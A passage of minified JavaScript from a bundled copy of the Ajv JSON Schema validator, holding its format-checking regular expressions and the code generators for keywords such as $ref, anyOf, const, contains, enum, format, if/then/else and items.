z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,fw=/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,mw=/^(?:(?:http[s\u017F]?|ftp):\/\/)(?:(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+(?::(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?@)?(?:(?!10(?:\.[0-9]{1,3}){3})(?!127(?:\.[0-9]{1,3}){3})(?!169\.254(?:\.[0-9]{1,3}){2})(?!192\.168(?:\.[0-9]{1,3}){2})(?!172\.(?:1[6-9]|2[0-9]|3[01])(?:\.[0-9]{1,3}){2})(?:[1-9][0-9]?|1[0-9][0-9]|2[01][0-9]|22[0-3])(?:\.(?:1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])){2}(?:\.(?:[1-9][0-9]?|1[0-9][0-9]|2[0-4][0-9]|25[0-4]))|(?:(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)(?:\.(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)*(?:\.(?:(?:[a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]){2,})))(?::[0-9]{2,5})?(?:\/(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?$/i,hw=/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,vw=/^(?:\/(?:[^~/]|~0|~1)*)*$/,gw=/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,yw=/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/;ww.exports=bu;function bu(t){return t=t=="full"?"full":"fast",h8.copy(bu[t])}bu.fast={date:/^\d\d\d\d-[0-1]\d-[0-3]\d$/,time:/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,"date-time":/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,"uri-template":fw,url:mw,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i,hostname:pw,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:xw,uuid:hw,"json-pointer":vw,"json-pointer-uri-fragment":gw,"relative-json-pointer":yw};bu.full={date:_w,time:bw,"date-time":S8,uri:T8,"uri-reference":b8,"uri-template":fw,url:mw,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:pw,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:xw,uuid:hw,"json-pointer":vw,"json-pointer-uri-fragment":gw,"relative-json-pointer":yw};function x8(t){return t%4===0&&(t%100!==0||t%400===0)}function _w(t){var e=t.match(v8);if(!e)return!1;var r=+e[1],n=+e[2],a=+e[3];return n>=1&&n<=12&&a>=1&&a<=(n==2&&x8(r)?29:g8[n])}function bw(t,e){var r=t.match(y8);if(!r)return!1;var n=r[1],a=r[2],s=r[3],i=r[5];return(n<=23&&a<=59&&s<=59||n==23&&a==59&&s==60)&&(!e||i)}var w8=/t|\s/i;function S8(t){var e=t.split(w8);return e.length==2&&_w(e[0])&&bw(e[1],!0)}var E8=/\/|:/;function T8(t){return E8.test(t)&&_8.test(t)}var k8=/[^\\]\\Z/;function xw(t){if(k8.test(t))return!1;try{return new RegExp(t),!0}catch{return!1}}});var Tw=V((GZ,Ew)=>{"use strict";Ew.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.errSchemaPath+"/"+r,u=!e.opts.allErrors,l="data"+(i||""),d="valid"+s,f,m;if(o=="#"||o=="#/")e.isRoot?(f=e.async,m="validate"):(f=e.root.schema.$async===!0,m="root.refVal[0]");else{var g=e.resolveRef(e.baseId,o,e.isRoot);if(g===void 0){var b=e.MissingRefError.message(e.baseId,o);if(e.opts.missingRefs=="fail"){e.logger.error(b);var p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '$ref' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(c)+" , params: { ref: '"+e.util.escapeQuotes(o)+"' } ",e.opts.messages!==!1&&(a+=" , message: 'can\\'t resolve reference "+e.util.escapeQuotes(o)+"' "),e.opts.verbose&&(a+=" , schema: "+e.util.toQuotedString(o)+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+l+" "),a+=" } "):a+=" {} ";var h=a;a=p.pop(),!e.compositeRule&&u?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",u&&(a+=" if (false) { ")}else if(e.opts.missingRefs=="ignore")e.logger.warn(b),u&&(a+=" if (true) { ");else throw new e.MissingRefError(e.baseId,o,b)}else if(g.inline){var y=e.util.copy(e);y.level++;var v="valid"+y.level;y.schema=g.schema,y.schemaPath="",y.errSchemaPath=o;var _=e.validate(y).replace(/validate\.schema/g,g.code);a+=" "+_+" ",u&&(a+=" if ("+v+") { ")}else f=g.$async===!0||e.async&&g.$async!==!1,m=g.code}if(m){var p=p||[];p.push(a),a="",e.opts.passContext?a+=" "+m+".call(this, ":a+=" "+m+"( ",a+=" "+l+", (dataPath || '')",e.errorPath!='""'&&(a+=" + "+e.errorPath);var S=i?"data"+(i-1||""):"parentData",x=i?e.dataPathArr[i]:"parentDataProperty";a+=" , "+S+" , "+x+", rootData) ";var w=a;if(a=p.pop(),f){if(!e.async)throw new Error("async schema referenced by sync schema");u&&(a+=" var "+d+"; "),a+=" try { await "+w+"; ",u&&(a+=" "+d+" = true; "),a+=" } catch (e) { if (!(e instanceof ValidationError)) throw e; if (vErrors === null) vErrors = e.errors; else vErrors = vErrors.concat(e.errors); errors = vErrors.length; ",u&&(a+=" "+d+" = false; "),a+=" } ",u&&(a+=" if ("+d+") { ")}else a+=" if (!"+w+") { if (vErrors === null) vErrors = "+m+".errors; else vErrors = vErrors.concat("+m+".errors); errors = vErrors.length; } ",u&&(a+=" else { ")}return a}});var Rw=V((KZ,kw)=>{"use strict";kw.exports=function(e,r,n){var a=" ",s=e.schema[r],i=e.schemaPath+e.util.getProperty(r),o=e.errSchemaPath+"/"+r,c=!e.opts.allErrors,u=e.util.copy(e),l="";u.level++;var d="valid"+u.level,f=u.baseId,m=!0,g=s;if(g)for(var b,p=-1,h=g.length-1;p0||b===!1:e.util.schemaHasRules(b,e.RULES.all))&&(m=!1,u.schema=b,u.schemaPath=i+"["+p+"]",u.errSchemaPath=o+"/"+p,a+=" "+e.validate(u)+" ",u.baseId=f,c&&(a+=" if ("+d+") { ",l+="}"));return c&&(m?a+=" if (true) { ":a+=" "+l.slice(0,-1)+" "),a}});var Pw=V((XZ,$w)=>{"use strict";$w.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h=o.every(function(T){return e.opts.strictKeywords?typeof T=="object"&&Object.keys(T).length>0||T===!1:e.util.schemaHasRules(T,e.RULES.all)});if(h){var y=g.baseId;a+=" var "+m+" = errors; var "+f+" = false; ";var v=e.compositeRule;e.compositeRule=g.compositeRule=!0;var _=o;if(_)for(var S,x=-1,w=_.length-1;x{"use strict";Ow.exports=function(e,r,n){var a=" ",s=e.schema[r],i=e.errSchemaPath+"/"+r,o=!e.opts.allErrors,c=e.util.toQuotedString(s);return e.opts.$comment===!0?a+=" console.log("+c+");":typeof e.opts.$comment=="function"&&(a+=" self._opts.$comment("+c+", "+e.util.toQuotedString(i)+", validate.root.schema);"),a}});var Aw=V((YZ,Iw)=>{"use strict";Iw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o,m||(a+=" var schema"+s+" = validate.schema"+c+";"),a+="var "+f+" = equal("+d+", schema"+s+"); if (!"+f+") { ";var b=b||[];b.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'const' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { allowedValue: schema"+s+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be equal to constant' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var p=a;return a=b.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+p+"]); ":a+=" validate.errors = ["+p+"]; return false; ":a+=" var err = "+p+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" }",l&&(a+=" else { "),a}});var jw=V((QZ,Nw)=>{"use strict";Nw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h="i"+s,y=g.dataLevel=e.dataLevel+1,v="data"+y,_=e.baseId,S=e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all);if(a+="var "+m+" = errors;var "+f+";",S){var x=e.compositeRule;e.compositeRule=g.compositeRule=!0,g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" var "+p+" = false; for (var "+h+" = 0; "+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var w=d+"["+h+"]";g.dataPathArr[y]=h;var T=e.validate(g);g.baseId=_,e.util.varOccurences(T,v)<2?a+=" "+e.util.varReplace(T,v,w)+" ":a+=" var "+v+" = "+w+"; "+T+" ",a+=" if ("+p+") break; } ",e.compositeRule=g.compositeRule=x,a+=" "+b+" if (!"+p+") {"}else a+=" if ("+d+".length == 0) {";var R=R||[];R.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'contains' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should contain a valid item' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var A=a;return a=R.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+A+"]); ":a+=" validate.errors = ["+A+"]; return false; ":a+=" var err = "+A+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { ",S&&(a+=" errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; } "),e.opts.allErrors&&(a+=" } "),a}});var Dw=V((eG,Mw)=>{"use strict";Mw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level,p={},h={},y=e.opts.ownProperties;for(x in o)if(x!="__proto__"){var v=o[x],_=Array.isArray(v)?h:p;_[x]=v}a+="var "+f+" = errors;";var S=e.errorPath;a+="var missing"+s+";";for(var x in h)if(_=h[x],_.length){if(a+=" if ( "+d+e.util.getProperty(x)+" !== undefined ",y&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(x)+"') "),l){a+=" && ( ";var w=_;if(w)for(var T,R=-1,A=w.length-1;R0||v===!1:e.util.schemaHasRules(v,e.RULES.all))&&(a+=" "+b+" = true; if ( "+d+e.util.getProperty(x)+" !== undefined ",y&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(x)+"') "),a+=") { ",m.schema=v,m.schemaPath=c+e.util.getProperty(x),m.errSchemaPath=u+"/"+e.util.escapeFragment(x),a+=" "+e.validate(m)+" ",m.baseId=H,a+=" } ",l&&(a+=" if ("+b+") { ",g+="}"))}return l&&(a+=" "+g+" if ("+f+" == errors) {"),a}});var Lw=V((tG,qw)=>{"use strict";qw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o;var b="i"+s,p="schema"+s;m||(a+=" var "+p+" = validate.schema"+c+";"),a+="var "+f+";",m&&(a+=" if (schema"+s+" === undefined) "+f+" = true; else if (!Array.isArray(schema"+s+")) "+f+" = false; else {"),a+=""+f+" = false;for (var "+b+"=0; "+b+"<"+p+".length; "+b+"++) if (equal("+d+", "+p+"["+b+"])) { "+f+" = true; break; }",m&&(a+=" } "),a+=" if (!"+f+") { ";var h=h||[];h.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'enum' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { allowedValues: schema"+s+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be equal to one of the allowed values' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var y=a;return a=h.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+y+"]); ":a+=" validate.errors = ["+y+"]; return false; ":a+=" var err = "+y+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" }",l&&(a+=" else { "),a}});var zw=V((rG,Fw)=>{"use strict";Fw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||"");if(e.opts.format===!1)return l&&(a+=" if (true) { "),a;var f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=e.opts.unknownFormats,b=Array.isArray(g);if(f){var p="format"+s,h="isObject"+s,y="formatType"+s;a+=" var "+p+" = formats["+m+"]; var "+h+" = typeof "+p+" == 'object' && !("+p+" instanceof RegExp) && "+p+".validate; var "+y+" = "+h+" && "+p+".type || 'string'; if ("+h+") { ",e.async&&(a+=" var async"+s+" = "+p+".async; "),a+=" "+p+" = "+p+".validate; } if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'string') || "),a+=" (",g!="ignore"&&(a+=" ("+m+" && !"+p+" ",b&&(a+=" && self._opts.unknownFormats.indexOf("+m+") == -1 "),a+=") || "),a+=" ("+p+" && "+y+" == '"+n+"' && !(typeof "+p+" == 'function' ? ",e.async?a+=" (async"+s+" ? await "+p+"("+d+") : "+p+"("+d+")) ":a+=" "+p+"("+d+") ",a+=" : "+p+".test("+d+"))))) {"}else{var p=e.formats[o];if(!p){if(g=="ignore")return e.logger.warn('unknown format "'+o+'" ignored in schema at path "'+e.errSchemaPath+'"'),l&&(a+=" if (true) { "),a;if(b&&g.indexOf(o)>=0)return l&&(a+=" if (true) { "),a;throw new Error('unknown format "'+o+'" is used in schema at path "'+e.errSchemaPath+'"')}var h=typeof p=="object"&&!(p instanceof RegExp)&&p.validate,y=h&&p.type||"string";if(h){var v=p.async===!0;p=p.validate}if(y!=n)return l&&(a+=" if (true) { "),a;if(v){if(!e.async)throw new Error("async format in sync schema");var _="formats"+e.util.getProperty(o)+".validate";a+=" if (!(await "+_+"("+d+"))) { "}else{a+=" if (! ";var _="formats"+e.util.getProperty(o);h&&(_+=".validate"),typeof p=="function"?a+=" "+_+"("+d+") ":a+=" "+_+".test("+d+") ",a+=") { "}}var S=S||[];S.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'format' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { format: ",f?a+=""+m:a+=""+e.util.toQuotedString(o),a+=" } ",e.opts.messages!==!1&&(a+=` , message: 'should match format "`,f?a+="' + "+m+" + '":a+=""+e.util.escapeQuotes(o),a+=`"' `),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+e.util.toQuotedString(o),a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var x=a;return a=S.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+x+"]); ":a+=" validate.errors = ["+x+"]; return false; ":a+=" var err = "+x+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { "),a}});var Hw=V((aG,Uw)=>{"use strict";Uw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e);g.level++;var b="valid"+g.level,p=e.schema.then,h=e.schema.else,y=p!==void 0&&(e.opts.strictKeywords?typeof p=="object"&&Object.keys(p).length>0||p===!1:e.util.schemaHasRules(p,e.RULES.all)),v=h!==void 0&&(e.opts.strictKeywords?typeof h=="object"&&Object.keys(h).length>0||h===!1:e.util.schemaHasRules(h,e.RULES.all)),_=g.baseId;if(y||v){var S;g.createErrors=!1,g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" var "+m+" = errors; var "+f+" = true; ";var x=e.compositeRule;e.compositeRule=g.compositeRule=!0,a+=" "+e.validate(g)+" ",g.baseId=_,g.createErrors=!0,a+=" errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; } ",e.compositeRule=g.compositeRule=x,y?(a+=" if ("+b+") { ",g.schema=e.schema.then,g.schemaPath=e.schemaPath+".then",g.errSchemaPath=e.errSchemaPath+"/then",a+=" "+e.validate(g)+" ",g.baseId=_,a+=" "+f+" = "+b+"; ",y&&v?(S="ifClause"+s,a+=" var "+S+" = 'then'; "):S="'then'",a+=" } ",v&&(a+=" else { ")):a+=" if (!"+b+") { ",v&&(g.schema=e.schema.else,g.schemaPath=e.schemaPath+".else",g.errSchemaPath=e.errSchemaPath+"/else",a+=" "+e.validate(g)+" ",g.baseId=_,a+=" "+f+" = "+b+"; ",y&&v?(S="ifClause"+s,a+=" var "+S+" = 'else'; "):S="'else'",a+=" } "),a+=" if (!"+f+") { var err = ",e.createErrors!==!1?(a+=" { keyword: 'if' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { failingKeyword: "+S+" } ",e.opts.messages!==!1&&(a+=` , message: 'should match "' + `+S+` + '" schema' `),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&l&&(e.async?a+=" throw new ValidationError(vErrors); ":a+=" validate.errors = vErrors; return false; "),a+=" } ",l&&(a+=" else { ")}else l&&(a+=" if (true) { ");return a}});var Vw=V((nG,Bw)=>{"use strict";Bw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h="i"+s,y=g.dataLevel=e.dataLevel+1,v="data"+y,_=e.baseId;if(a+="var "+m+" = errors;var "+f+";",Array.isArray(o)){var S=e.schema.additionalItems;if(S===!1){a+=" "+f+" = "+d+".length <= "+o.length+"; ";var x=u;u=e.errSchemaPath+"/additionalItems",a+=" if (!"+f+") { ";var w=w||[];w.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'additionalItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+o.length+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have more than "+o.length+" items' "),e.opts.verbose&&(a+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var T=a;a=w.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+T+"]); ":a+=" validate.errors = ["+T+"]; return false; ":a+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",u=x,l&&(b+="}",a+=" else { ")}var R=o;if(R){for(var A,j=-1,q=R.length-1;j0||A===!1:e.util.schemaHasRules(A,e.RULES.all)){a+=" "+p+" = true; if ("+d+".length > "+j+") { ";var U=d+"["+j+"]";g.schema=A,g.schemaPath=c+"["+j+"]",g.errSchemaPath=u+"/"+j,g.errorPath=e.util.getPathExpr(e.errorPath,j,e.opts.jsonPointers,!0),g.dataPathArr[y]=j;var N=e.validate(g);g.baseId=_,e.util.varOccurences(N,v)<2?a+=" "+e.util.varReplace(N,v,U)+" ":a+=" var "+v+" = "+U+"; "+N+" ",a+=" } ",l&&(a+=" if ("+p+") { ",b+="}")}}if(typeof S=="object"&&(e.opts.strictKeywords?typeof S=="object"&&Object.keys(S).length>0||S===!1:e.util.schemaHasRules(S,e.RULES.all))){g.schema=S,g.schemaPath=e.schemaPath+".additionalItems",g.errSchemaPath=e.errSchemaPath+"/additionalItems",a+=" "+p+" = true; if ("+d+".length > "+o.length+") { for (var "+h+" = "+o.length+"; 